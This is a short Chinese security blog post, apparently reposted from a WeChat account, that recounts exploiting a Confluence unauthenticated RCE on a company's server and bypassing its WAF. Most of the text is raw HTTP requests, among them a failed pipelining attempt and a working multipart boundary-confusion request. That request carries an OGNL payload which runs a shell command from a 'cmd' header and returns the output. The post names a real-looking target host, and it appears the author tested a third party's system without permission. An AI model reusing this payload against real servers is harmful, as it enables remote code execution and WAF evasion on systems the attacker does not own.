经历一段时间的面面面试，目前算是基本稳定了，记得在某次面试过程中发现目标企业存在Confluence未授权rce的漏洞，后续再次尝试时发现被waf拦截了，所以多了个和waf对抗的故事
1、HTTP隧道传输/ HTTP pipeline【失败】
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1Host:Content-Type: application/x-www-form-urlencodedConnection: keep-aliveContent-Length: 203queryString=aPOST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1Host: help.hualala.comContent-Type: application/x-www-form-urlencodedConnection: keep-alivecmd: pwdqueryString={
2、分块传输/ Chunked Transfer (HTTP 1.1)【失败】
3、HTTP协议未覆盖【成功】
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=--------998091706;boundary=--------998091705X-Requested-With: XMLHttpRequestx-atlassian-mau-ignore: trueContent-Length: 678Connection: closeCookie: JSESSIONID=E4513E8589FBD6AB5128994E87ADA4D0cmd: id----------998091706Content-Disposition: form-data; name="queryString"sss----------998091706------------998091705Content-Disposition: form-data; name="queryString"u0027+#{u0022u0022[u0022classu0022].forName(u0022javax.script.ScriptEngineManageru0022).newInstance().getEngineByName(u0022jsu0022).eval(u0022var c=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getHeader(u0027cmdu0027);var x=java.lang.Runtime.getRuntime().exec(c);var out=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().getOutputStream();org.apache.commons.io.IOUtils.copy(x.getInputStream(),out);out.flush();u0022)}+u0027----------998091705--
高并发、垃圾数据都尝试了，均未成功，就不放截图了。
原文始发于微信公众号（安全艺术）：记一次Confluence Rce绕WAF的过程
- 左青龙
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- 右白虎
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